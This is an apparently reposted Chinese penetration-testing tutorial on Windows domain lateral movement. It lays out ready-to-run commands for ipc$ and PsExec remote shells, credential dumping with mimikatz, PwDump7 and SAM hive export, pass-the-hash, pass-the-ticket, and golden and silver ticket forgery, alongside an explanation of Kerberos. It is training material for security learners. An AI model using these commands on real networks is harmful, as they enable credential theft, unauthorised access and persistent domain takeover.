1. 程式人生 > 其它 >滲透測試-27:橫向移動

滲透測試-27:橫向移動

域內橫向移動

域內橫向移動是指,攻擊者以攻陷的系統為跳板,訪問其他域內主機,擴大攻擊戰果

windows遠端連線

  • IPC(Internet Process Connection)指程序間通訊開放的命名管道
  • IPC 可以通過驗證使用者名稱和密碼獲得相應許可權,比如遠端管理計算機和檢視共享資源
  • 通過 ipc$ 可以與目標機器建立連線,利用這個連線,可以訪問目標機器的檔案、上傳、下載以及執行命令等

建立ipc$

# 建立ipc$
net use \\<目標IP>\ipc$ /user:<使用者名稱> <密碼>

# 檢視建立的連線
net use

# 訪問遠端檔案
dir \\<目標IP>\c$

# 使用 psexec.exe 反彈 shell
PsExec.exe -ACCEPTEULA \\<目標IP> -s cmd.exe

# 使用 MSF 中的 psexec 模組反彈 shell
use exploit/windows/smb/psexec
show options
set rhosts <目標IP>
set smbuser <目標使用者名稱>
set smbpass <目標使用者密碼>
run
getuid

# 有些系統版本會報錯,解決方案如下
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

密碼、認證與許可權

獲取密碼方式

  • 通過簡單猜測或爆破:弱口令
  • 通過系統漏洞:溢位
  • 使用者自己洩露:git、配置檔案等洩露
  • 通過系統後門:中病毒等
  • 通過使用者主機竊聽:鍵盤記錄
  • 通過中間人劫持:網路竊聽

Windows密碼檔案原理

  • Hash 一般翻譯做“雜湊”,也有直接音譯為“雜湊”的,就是把任意長度的輸入(又叫做預對映 pre-image),通過雜湊演算法,變換成固定長度的輸出,該輸出就是雜湊值。這種轉換是一種壓縮對映,也就是,雜湊值的空間通常遠小於輸入的空間,不同的輸入可能會雜湊成相同的輸出(概率非常小),所以不可能從雜湊值來唯一的確定輸入值。
  • 在 windows 下通過 SAMInside 提取到的密碼 Hash 時,可以看到有兩條,分別是 LM-Hash 和 NT-Hash,這是對同一個密碼的兩種不同的加密方式
  • windows 密碼結構:使用者名稱稱:RID:LM-HASH值:NT-HASH值

密碼匯出方式

  • C:\Windows\System32\config\SAM
  • GetPass
  • Mimikatz
  • PwnDump7
  • WCE

Windows密碼提取工具

GetPass

執行後可獲取明文密碼,2012版本之後的系統已經禁止在記憶體中儲存明文密碼

# 管理員身份執行 cmd
GetPassword_x64.exe

PwDump7

執行後可獲取系統中所有賬戶的 NTLM Hash,可以通過彩虹表破解雜湊值,還可以通過雜湊傳遞的方式進行橫向滲透

密碼線上查詢:

# 管理員身份執行 cmd
PwDump7.exe

QuarksPwDump獲取雜湊

# 管理員身份執行 cmd
QuarksPwDump.exe --dump-hash-local

通過SAM和SYSTEM檔案抓取密碼

# reg save 將登錄檔中的 SAM、System 檔案匯出到本地磁碟
reg save hklm\sam sam.hive
reg save hklm\system system.hive

# 將 sam.hive 和 system.hive 放在 mimikatz.exe 同一個目錄下
lsadump::sam /sam:sam.hive /system:system.hive

雜湊傳遞(PTH)

  • 雜湊傳遞攻擊(Pass The Hash)是通過找到與賬戶相關的密碼雜湊值(通常是 NTLM Hash)進行攻擊
  • 在 windows 網路中,雜湊值是用來證明身份的(有正確的使用者名稱和密碼雜湊值,就能通過驗證)
  • 由於大量計算機在本地安裝時,可能會使用相同的本地管理員賬號和密碼,這樣攻擊者就可以使用雜湊傳遞來登入內網中其他的計算機

獲取雜湊

mimikatz

# 提升許可權
privilege::debug

# system 許可權
token::elevate

# 讀取本地 SAM 檔案,獲取 NTML Hash
lsadump::sam

# 線上讀取雜湊值及明文密碼,執行後生成文字檔案
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

實驗

使用 NTLM Hash 進行雜湊傳遞

# 管理員許可權執行 cmd
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
sekurlsa::pth /user:<目標使用者名稱> /domain:<域名> /ntlm:<NTLM Hash>

# 此時會彈出一個 cmd
dir \\<目標主機名>\c$

# 使用 PsExec 反彈 shell
PsExec.exe -accepteula \\<目標IP> –s cmd.exe
whoami
net nser

票據傳遞(PTT)

雜湊傳遞需要具備管理員許可權,票據傳遞不需要具備管理員許可權

實驗

使用kekeo傳遞票據

# 生成票據:[email protected][email protected]
tgt::ask /user:<目標使用者名稱> /domain:<域名> /ntlm:<NTLM Hash>

# 匯入票據
kerberos::ptt [email protected][email protected]

# 檢測連線
dir \\<目標主機名>\c$

# 使用 PsExec 反彈 shell
PsExec.exe -accepteula \\<目標主機名> -s cmd.exe

使用 mimikatz 傳遞票據

privilege::debug

# 匯出記憶體中的票據
sekurlsa::tickets /export

# 清空記憶體中的票據
kerberos::purge

# 將票據檔案注入記憶體
kerberos::ptt <票據檔名>

# 使用 PsExec 反彈 shell
PsExec.exe -accepteula \\<目標主機名> -s cmd.exe

域認證流程

Kerberos 是用於驗證使用者身份的計算機網路身份驗證協議。下面是 Kerberos 工作方式的一個簡單描述:

  • 步驟1: 要啟動 Kerberos 身份驗證過程,首先客戶機輸入憑證(只有 userID) ,然後向 Kerberos Key 分發中心(KDC)的身份驗證伺服器傳送一個身份驗證請求。身份驗證伺服器驗證客戶機的使用者名稱是否在 KDC 資料庫中。

  • 步驟2: 如果客戶機的使用者名稱在 KDC 資料庫中不可用,則無法對客戶機進行身份驗證,身份驗證過程結束。如果在 KDC 資料庫中找到客戶機的使用者名稱或 userID,身份驗證伺服器將向客戶機發送一個 Ticket Granting Ticket (TGT)和一個 session key (SK1)。TGT 包含客戶端 ID、客戶端網路地址、時間戳和生存期。會話金鑰(SK1)使用客戶端的祕密金鑰加密,TGT 使用 TGS 的祕密金鑰加密。

  • 步驟3: 客戶機使用客戶機/使用者祕密金鑰(由使用者輸入的密碼生成)解密訊息並提取 Session 金鑰和 TGT。解密後,此會話金鑰用於與 TGS 的進一步通訊。

  • 步驟4: 經過身份驗證伺服器的身份驗證並解密會話金鑰之後,客戶機從 Ticket Granting Server (TGS)請求服務票證(用於 web/應用程式伺服器訪問)。

  • 步驟5: TGS 然後使用 TGS 祕密金鑰對從客戶機接收到的 TGT 進行解密,並提取會話金鑰(SK1)。TGS 解密身份驗證器(TGT)並檢查它是否與客戶機的使用者名稱和客戶機網路地址匹配。TGS 還使用提取的時間戳來確保 TGT 沒有過期。如果流程成功地進行了所有檢查,那麼 KDC 生成一個服務會話金鑰(SK2) ,該金鑰在客戶機和目標伺服器(可能是 web 伺服器或應用程式伺服器)之間共享。

  • 步驟6: 客戶端傳送一個訪問應用伺服器的請求。這個請求包括 TGS 上一步接收到的服務會話金鑰(SK2)。如果應用程式伺服器可以對此請求進行身份驗證,則客戶端可以訪問伺服器。

偽造黃金票據

偽造黃金票據是域控制器許可權維持的一種方式

票據傳送實驗

# 獲取域名
net config workstation

# 獲取主機名
nltest /dsgetdc:<域名>

# 匯出 krbtgt 的 NTLM Hash,在域控的 mimikatz 中執行
privilege::debug
lsadump::dcsync /domain:<域名> /all /csv

# 獲取域 sid(注:查出來的字串中,sid 為去掉最後一段-xxx剩餘的部分)
lsadump::dcsync /domain:<域名> /user:krbtgt
wmic useraccount get name,sid

# 偽造黃金票據
kerberos::golden /admin:<目標使用者名稱> /domain:<域名> /sid:<域 SID> /krbtgt:<krbtgt 賬戶的 NTLM Hash> /ticket:<輸出的檔名>.kiribi

# 現在可以將 <輸出的檔名>.kiribi 儲存下來,任何情況下都可以通過該票據進行登入到域控

# 清空票據
kerberos::purge

# 匯入票據
kerberos::ptt <輸出的檔名>.kiribi

# 驗證票據
klist

# 檢測連線
dir \\<目標主機名>\c$

# 使用 PsExec 反彈 shell
PsExec.exe -accepteula \\<目標主機名> -s cmd.exe

偽造白銀票據

  • 白銀票據(Silver Ticket),利用過程是偽造 TGS,通過已知的授權服務密碼生成一張可以訪問該服務的票據
  • 白銀票據生成過程中,不需要經過 KDC,不需要域域控互動
  • 白銀票據依賴服務賬戶(如:LDAP、MSSQL、DNS、CIFS等)的密碼雜湊值

使用白銀票據偽造CIFS服務許可權

# 獲取域名
net config workstation

# 獲取主機名
nltest /dsgetdc:<域名>

# 獲取域 SID(注:查出來的字串中,sid 為去掉最後一段-xxx剩餘的部分)
whoami /all
wmic useraccount get name,sid

# 獲取 NTLM Hash
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > log.txt

# 偽造白銀票據
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目標主機名>.<域名> /service:cifs /rc4:<目標機的 NTLM Hash> /user:<目標使用者名稱> /ptt

# 驗證許可權
dir \\<目標主機名>\c$

# 使用 PsExec 反彈 shell
PsExec.exe -accepteula \\<目標主機名> -s cmd.exe